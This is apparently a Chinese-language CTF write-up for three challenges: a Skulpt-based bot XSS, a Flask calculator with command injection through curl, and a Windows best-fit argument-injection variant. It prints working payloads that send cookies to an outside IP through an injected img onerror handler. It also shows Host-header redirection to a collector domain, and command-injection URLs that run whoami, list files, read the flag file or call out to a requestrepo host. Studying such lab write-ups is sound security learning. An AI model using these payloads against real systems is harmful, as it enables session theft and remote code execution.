web/Sculpture Revenge
访问用户提供的url,并且还必须是同域名的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| """ from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
parsed = urlparse("https://google.com") query_params = parse_qs(parsed.query) query_params["code"] = "123" new_query = urlencode(query_params, doseq=True) new_url = urlunparse(parsed._replace(query=new_query))
""" from urllib.parse import urlparse, parse_qs, urlencode, urlunparse from flask import Flask, request, make_response, redirect import base64, sys
from selenium import webdriver from selenium.webdriver.chrome.options import Options
flag = open('flag.txt').read().strip() app = Flask(__name__)
PORT = 8802
@app.route('/') def index(): return make_response(open('index.html').read())
@app.route('/bot', methods=['GET']) def bot(): data = request.args.get('code', '🍃').encode('utf-8') data = base64.b64decode(data).decode('utf-8') parsed = urlparse(f"{request.host_url}") query_params = parse_qs(parsed.query) query_params["code"] = base64.b64encode(data.encode('utf-8')).decode('utf-8') new_query = urlencode(query_params, doseq=True) new_url = urlunparse(parsed._replace(query=new_query)) options = Options() options.add_argument("--headless") options.add_argument("--no-sandbox") driver = webdriver.Chrome(options=options) driver.get(f'{request.host_url}void') driver.add_cookie({ 'name': 'flag', 'value': flag.replace(".;,;.{", "").replace("}", ""), 'path': '/', }) print('[+] Visiting ' + new_url, file=sys.stderr) driver.get(new_url) driver.implicitly_wait(5) driver.quit() print('[-] Done visiting URL', new_url, file=sys.stderr) return make_response('Bot executed successfully', 200)
if __name__ == '__main__': app.run(host='0.0.0.0', port=PORT, debug=False)
|
在Skulpt环境中执行提交的经过base64编码的python代码,同时发现真正的flag,并没有域名限制的访问,
这样子测试是成功的,对于这个解析器,好像有个payload可以使用
1
| print('<img src="x" onerror="alert(114)">')
|
但是并没有成功,index.html
写到是纯文本,还是自己起docker来测试一下了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| version: '3.8'
services: sculpture-revenge: build: . ports: - "8802:8802" volumes: - ./flag.txt:/app/flag.txt - ./app.py:/app/app.py - ./index.html:/app/index.html environment: - PYTHONDONTWRITEBYTECODE=1 - PYTHONUNBUFFERED=1 restart: unless-stopped
|
A5rZ师傅之前研究过类似的东西,说parsed = urlparse(f"{request.host_url}")
其实是取决于host头,也就是可控的,当我们本地测试的时候确实work
1 2 3 4 5 6 7 8 9 10 11
| GET /?code=dHh1ZDRyY2lxZDhpbG5tbmJhMGh5NWk5dzAycnFnLm9hc3RpZnkuY29t HTTP/1.1 Host: txud4rciqd8ilnmnba0hy5i9w02rqg.oastify.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: keep-alive
|
即可收到flag,但是远程并不成功,后来询问师傅得知可以使用document去创建一个在线的标签
1 2 3 4 5 6
| import document
img = document.createElement("img") img.setAttribute("src", "x") img.setAttribute("onerror", "fetch('http://156.238.233.93:9999/' + document.cookie)") document.getElementById("output").appendChild(img)
|
本地成功远程不成功,可能是跨域的问题,换成
1 2 3 4 5 6
| import document
img = document.createElement("img") img.setAttribute("src", "x") img.setAttribute("onerror", "window.location.href('http://156.238.233.93:9999/' + document.cookie)") document.getElementById("output").appendChild(img)
|
misc/TI-1983
反而我认为这题更像是web,来看看简单的代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from flask import Flask, request, send_file import subprocess import tempfile import os app = Flask(__name__, static_folder=None) code_tmpl = open("code_tmpl.py").read() @app.route('/') def index(): return open("static/index.html", "rb").read().decode()
@app.route('/static') def fileserve(): url = request.url fpath = url.split(f"static?")[-1] files = os.listdir("static") if fpath not in files or not fpath.endswith(".tmpl"): fpath = "🐈.tmpl" return send_file(f"static/{fpath}")
def render_error(msg): return open("static/error.html", "rb").read().decode().replace("{{msg}}", msg)
@app.route('/ti-84') def execute_code(): code = request.values.get('code') output_tmpl = request.values.get('tmpl') if len(code) > 3 and any(c in code for c in "0123456789+*-/"): return render_error("This is a ~~Wendys~~ TI-84.") tmpl = code_tmpl tmplcode = tmpl.replace("{{code}}", code) tmpfile = tempfile.NamedTemporaryFile(suffix=".py", delete=False) tmpfile.write(tmplcode.encode()) tmpfile.flush() url = f"{request.url_root}/static?{output_tmpl}.tmpl" if sum(1 for c in url if ord(c) > 127) > 1: return render_error("too many emojis... chill with the brainrot") out_tmpl = os.popen(f"curl.exe -s {url}").read() if "{{out}}" not in out_tmpl: return render_error("Template must have {{out}}") tmpfile.close() result = subprocess.run(['python.exe', tmpfile.name], text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout if os.path.exists(tmpfile.name): os.remove(tmpfile.name) return out_tmpl.replace("{{out}}", result)
if __name__ == "__main__": app.run(host='0.0.0.0', port=80, debug=False)
|
这里给了一个简单的flask服务,其中有模版替换之后进行渲染,然后本地访问进行测试等操作,我们可以很敏锐的发现两个漏洞,一个是命令拼接直接RCE
1
| out_tmpl = os.popen(f"curl.exe -s {url}").read()
|
本地测试一下发现&
为分隔符
1 2 3 4
| import os
a=os.popen(f"whoami& whoami > static/1.txt").read() print(a)
|
一个是SSTI
1 2 3 4 5 6 7 8 9 10
| from RestrictedPython import compile_restricted code = """ {{code}} """
byte_code = compile_restricted(code, '<inline>', 'eval')
print(eval(byte_code, {'__builtins__': {}}, {'__builtins__': {}}))
|
省去了平时的{{}}
但是这里限制了模块,所以绕过进行RCE成为了几乎不可能的事情,再本地开启应用进行测试可以知道确实能够RCE的
1 2 3 4 5 6 7
| http://127.0.0.1/ti-84?code=1&tmpl=index.tmpl%26whoami > static/2.txt%26index
http://127.0.0.1/ti-84?code=1&tmpl=index.tmpl%26curl https://epkveh22.requestrepo.com/%26index
http://127.0.0.1/ti-84?code=1&tmpl=index.tmpl%26curl https://epkveh22.requestrepo.com/`whoami`%26index
|
看Dockerfile也看得出来是Windows主机,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| FROM mcr.microsoft.com/windows/servercore:ltsc2022
LABEL Description="Python" Vendor="Python Software Foundation" Version="3.10.0"
RUN powershell.exe -Command \ $ErrorActionPreference = 'Stop'; \ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; \ wget https://www.python.org/ftp/python/3.10.0/python-3.10.0.exe -OutFile c:\python-3.10.0.exe ; \ Start-Process c:\python-3.10.0.exe -ArgumentList '/quiet InstallAllUsers=1 PrependPath=1' -Wait ; \ Remove-Item c:\python-3.10.0.exe -Force
RUN powershell.exe -Command \ $ErrorActionPreference = 'Stop'; \ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; \ wget https://curl.se/windows/dl-8.14.1_1/curl-8.14.1_1-win64-mingw.zip -OutFile c:\curl.zip ; \ Expand-Archive c:\curl.zip -DestinationPath C:\curl ; \ Remove-Item c:\curl.zip -Force
COPY requirements.txt /app/requirements.txt COPY server.py /app/server.py COPY flag.txt /app/flag.txt COPY static /app/static/ COPY code_tmpl.py /app/code_tmpl.py RUN move C:\curl\curl-8.14.1_1-win64-mingw\bin\curl.exe C:\app\curl.exe WORKDIR /app RUN ["python", "-c", "import os; os.rename('flag.txt', f'flag_{os.urandom(8).hex()}.txt')"] RUN ["pip", "install", "-r", "requirements.txt"] RUN net user /add chall USER chall EXPOSE 80 ENTRYPOINT ["python", "-X", "utf8", "server.py"]
|
所以我们外带这里反引号不会识别成功,直接命令执行即可
1 2 3
| https://misc-ti-1983-qmr42v1n.windows.smiley.cat/ti-84?code=1&tmpl=index.tmpl%26dir%26index
https://misc-ti-1983-qmr42v1n.windows.smiley.cat/ti-84?code=1&tmpl=index.tmpl%26type flag_4dfa54cf005d9fea.txt%26index
|
misc/TI-1984
https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/
what can i say,找不到可以利用的curl的参数,
https://hackerone.com/reports/2550951
和上题不同的地方就是
1
| subprocess.run(['curl.exe', '-s', url], stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.decode()
|
1 2 3
| index.tmpl%EF%BC%82%20-s%20file:///app/%20%EF%BC%82index
index.tmpl%26dir%26index
|
没成功最后,等待复现